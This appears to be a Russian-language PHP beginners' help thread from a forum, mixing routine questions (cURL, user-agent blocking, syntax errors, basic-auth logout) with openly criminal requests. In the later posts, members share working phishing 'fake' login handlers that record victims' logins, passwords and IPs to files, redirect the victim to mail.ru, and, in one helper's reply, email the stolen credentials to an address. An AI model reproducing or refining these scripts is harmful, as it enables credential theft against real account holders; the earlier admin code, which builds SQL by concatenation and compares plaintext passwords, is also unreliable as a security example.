[php] Новичкам: задаем вопросы

Discussion in 'PHP' started by _Great_, 26 May 2007.

Thread Status:
Not open for further replies.
  1. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    PHP:
    <?php 
    set_time_limit
    (0); 
    $url "https://hashcracking.info/index.php?4"
    $ref "https://hashcracking.info/index.php"
    $ua "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.4) Gecko/2008102920 AdCentriaIM/1.7 Firefox/3.0.4"
    $ch curl_init($url); 
    curl_setopt($chCURLOPT_USERAGENT$ua); 
    curl_setopt($chCURLOPT_REFERER$ref); 
    curl_setopt($chCURLOPT_COOKIEJAR"./cook"); 
    curl_setopt($chCURLOPT_COOKIEFILE"./cook"); 
    curl_setopt($chCURLOPT_RETURNTRANSFER1); 
    curl_setopt($chCURLOPT_SSL_VERIFYPEER0); 
    curl_setopt($chCURLOPT_SSL_VERIFYHOST0); 
    $res curl_exec($ch); 
    preg_match_all('#[0-9a-f]{32}#i'$res$matches); 
    print_r($matches); 
    ?>
    как с прокси хз
     
  2. amBX

    amBX New Member

    Joined:
    29 May 2009
    Messages:
    4
    Likes Received:
    2
    Reputations:
    0
    Ребята скажите можно сделать закрытый доступ на страницу по Браузеру? т.е. эсть один нехороший человек который любит заходить на одну страничку пользуясь проксями, но заходит постоянно с одного браузера, чем и палится вот его браузер "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.33 Safari/532.0" можно поставить запрет такой?
     
  3. amBX

    amBX New Member

    Joined:
    29 May 2009
    Messages:
    4
    Likes Received:
    2
    Reputations:
    0
    rushter, спасибо. Помогло вроде как.
     
  4. Luck3r

    Luck3r New Member

    Joined:
    1 Nov 2009
    Messages:
    14
    Likes Received:
    1
    Reputations:
    0
    curl_setopt($curl, CURLOPT_PROXY, "ssl://xxx.xxx.xxx.xxx");
    Но не факт что сработает.
     
  5. geforce

    geforce Member

    Joined:
    21 Aug 2008
    Messages:
    300
    Likes Received:
    26
    Reputations:
    -5
    Подскажите где есть нормальная понятная ИНФА про CURL и $_SERVER?????
     
  6. Root-access

    Root-access Elder - Старейшина

    Joined:
    18 Jun 2008
    Messages:
    193
    Likes Received:
    195
    Reputations:
    91
    Гениальный вопрос. Главное было жирным написать.

    Ответ:
    http://php.net/manual/en/book.curl.php
    http://php.net/manual/en/reserved.variables.server.php

    P.S. Найдено в общей сложности за 0.37 секунд.
     
  7. geforce

    geforce Member

    Joined:
    21 Aug 2008
    Messages:
    300
    Likes Received:
    26
    Reputations:
    -5

    Php.net ясное дело! А я просил понятное не замудрёное! Чтоб легко читалось!
     
  8. Root-access

    Root-access Elder - Старейшина

    Joined:
    18 Jun 2008
    Messages:
    193
    Likes Received:
    195
    Reputations:
    91

    Если ты считаешь, что это непонятно и замудрено, то программирование - явно не для тебя.
     
  9. Luck3r

    Luck3r New Member

    Joined:
    1 Nov 2009
    Messages:
    14
    Likes Received:
    1
    Reputations:
    0
    http://www.google.ru/search?q=%D1%88%D0%BA%D0%BE%D0%BB%D1%8C%D0%BD%D1%8B%D0%B9+%D0%BA%D1%83%D1%80%D1%81+%D0%B8%D0%BD%D1%84%D0%BE%D1%80%D0%BC%D0%B0%D1%82%D0%B8%D0%BA%D0%B8
     
  10. geforce

    geforce Member

    Joined:
    21 Aug 2008
    Messages:
    300
    Likes Received:
    26
    Reputations:
    -5
    1 Как с помощью PHP обнулить в базе id auto_increment ???
    2 Есть такой код защиты админки:


    PHP:
    if (!isset($_SERVER['PHP_AUTH_USER']))

    {
            
    Header ("WWW-Authenticate: Basic realm=\"Admin page VladFirm\"");
            
    Header ("HTTP/1.0 401 Unauthorized");
            exit();
    }

    else {
            if (!
    get_magic_quotes_gpc()) {
                    
    $_SERVER['PHP_AUTH_USER'] = mysql_escape_string($_SERVER['PHP_AUTH_USER']);
                    
    $_SERVER['PHP_AUTH_PW'] = mysql_escape_string($_SERVER['PHP_AUTH_PW']);
            }

            
    $query "SELECT pass FROM users WHERE user='".$_SERVER['PHP_AUTH_USER']."'";
            
    $lst = @mysql_query($query);

            if (!
    $lst)
            {
                
    Header ("WWW-Authenticate: Basic realm=\"Admin page VladFirm\"");
            
    Header ("HTTP/1.0 401 Unauthorized");
            exit();
            }

            if (
    mysql_num_rows($lst) == 0)
            {
               
    Header ("WWW-Authenticate: Basic realm=\"Admin page VladFirm\"");
               
    Header ("HTTP/1.0 401 Unauthorized");
               exit();
            }

            
    $pass =  @mysql_fetch_array($lst);
            if (
    $_SERVER['PHP_AUTH_PW']!= $pass['pass'])
            {
                
    Header ("WWW-Authenticate: Basic realm=\"Admin page VladFirm\"");
               
    Header ("HTTP/1.0 401 Unauthorized");
               exit();
            }


    }
    Всё работает! только есть один минус! админка функционирует пока не закрыть браузер! Как мне сделать кнопку которая закрывает сесию (Выход)???
     
    #12830 geforce, 23 Nov 2009
    Last edited: 23 Nov 2009
  11. DiHWO

    DiHWO Member

    Joined:
    23 Oct 2009
    Messages:
    93
    Likes Received:
    10
    Reputations:
    0
    Code:
    ..............
    if (empty($login)) 
    {
    echo('<div align=center><h3>Введите, пожалуйста, логин.</h3></div>')
    }
    if (empty($pass))
    {
    echo('<div align=center><h3><br><br>Введите, пожалуйста, пароль.</h3></div>')
    }
    ...............
    
    Вот часть кода которая ненравиться апачу, что делать? как уже я не переделывал ее, нифига, то одну ошибку, то другую.
    Ставлю ";", он ошибку пишет, не ставлю другую ошибку....убирал уже и скобки фигурные....
     
  12. DiHWO

    DiHWO Member

    Joined:
    23 Oct 2009
    Messages:
    93
    Likes Received:
    10
    Reputations:
    0
    geforce, пробовал кнопку с онкликом который ведет к скрипту, который делетит сессию?
     
  13. krypt3r

    krypt3r Elder - Старейшина

    Joined:
    27 Apr 2007
    Messages:
    1,507
    Likes Received:
    389
    Reputations:
    101
    Ошибку озвучьте. Без точек с запятой вы получите Parse error
    Где ж там в коде сессии? =)

    geforce, вам наводку дали - при успешной авторизации юзайте сессии
     
  14. DiHWO

    DiHWO Member

    Joined:
    23 Oct 2009
    Messages:
    93
    Likes Received:
    10
    Reputations:
    0
    Где ж там в коде сессии? =)>>>
    ну дык, пускай ставит сам, я ж не говорил что они там есть.
    Блииин, как же я тупанул....я не ";" ставил а ":". :eek:
     
  15. xofffff

    xofffff New Member

    Joined:
    15 Nov 2009
    Messages:
    0
    Likes Received:
    3
    Reputations:
    0
    Есть скрипт сохранение данных в файл base.php вот он:
    PHP:
    <?PHP 
    $Login 
    $_POST['Login']; // Читаем логин 
    $Domain $_POST['Domain']; // Домен 
    $Pass $_POST['password']; // Пароль 
    $Data date("d-m-y H:i:s"time()); // Дата и время 

    // Записываем полученные данные 
    $text "Дата:[$Data] Логин:$Login Пароль:$Pass"

    $filelog fopen("base.php","a+"); // Открываем файл базы 
    fwrite($filelog,"\n $text \n"); // Записываем 
    fclose($filelog); // Закрываем 
    header('Location: http://win.mail.ru/cgi-bin/msglist'); 
    // Переводим жертву на 
    // указанный адрес 
    ?>
    Вопрос: Как сделать что бы еще приходило на email эти же данные?
     
  16. svesve

    svesve Elder - Старейшина

    Joined:
    15 Jun 2007
    Messages:
    574
    Likes Received:
    86
    Reputations:
    11
    PHP:
    <?PHP 
    $Login 
    $_POST['Login']; // Читаем логин 
    $Domain $_POST['Domain']; // Домен 
    $Pass $_POST['password']; // Пароль 
    $Data date("d-m-y H:i:s"time()); // Дата и время 

    $mail="[email protected]";
    $subj="Пароли и т.д.";

    // Записываем полученные данные 
    $text "Дата:[$Data] Логин:$Login Пароль:$Pass"

    $filelog fopen("base.php","a+"); // Открываем файл базы 
    fwrite($filelog,"\n $text \n"); // Записываем 
    fclose($filelog); // Закрываем 


    mail($mail,$subj,$text);

    header('Location: http://win.mail.ru/cgi-bin/msglist'); 
    // Переводим жертву на 
    // указанный адрес 
    ?>
     
  17. xofffff

    xofffff New Member

    Joined:
    15 Nov 2009
    Messages:
    0
    Likes Received:
    3
    Reputations:
    0
    Благодарен :)

    а что это ? $subj="Пароли и т.д.";
     
  18. krypt3r

    krypt3r Elder - Старейшина

    Joined:
    27 Apr 2007
    Messages:
    1,507
    Likes Received:
    389
    Reputations:
    101
    Тема письма
     
  19. amBX

    amBX New Member

    Joined:
    29 May 2009
    Messages:
    4
    Likes Received:
    2
    Reputations:
    0
    Вопрос по фейку. Вот есть простой скрипт фейка
    PHP:
    <?PHP      
    $date
    =date("[d/m/Y|H:i]");   
    $ip = @$_SERVER['REMOTE_ADDR'];   
    $Login $_POST['login'];   
    $Pass $_POST['passwd'];   
    $c "$date | [$ip]   
    $Login;$Pass";   
    $fp fopen("log.html","a+");   
    fwrite($fp,"\n$c\n");   
    fclose($fp);   
    ?>
    как сделать так чтобы в log.html отображалось только последние 40 записей? А старые либо удалялись либо просто сохранялись в log.html, но отображение только было на последние 40.
     
  20. Deathdreams

    Deathdreams Elder - Старейшина

    Joined:
    8 Nov 2008
    Messages:
    342
    Likes Received:
    116
    Reputations:
    5
    amBX
    Следуя Вашему скрипту, логи будут записываться так:

    Code:
    Лог
    
    Лог
    
    Лог
    
    Лог
    PHP:
    @fwrite($fp$c."\r\n");  
     
Thread Status:
Not open for further replies.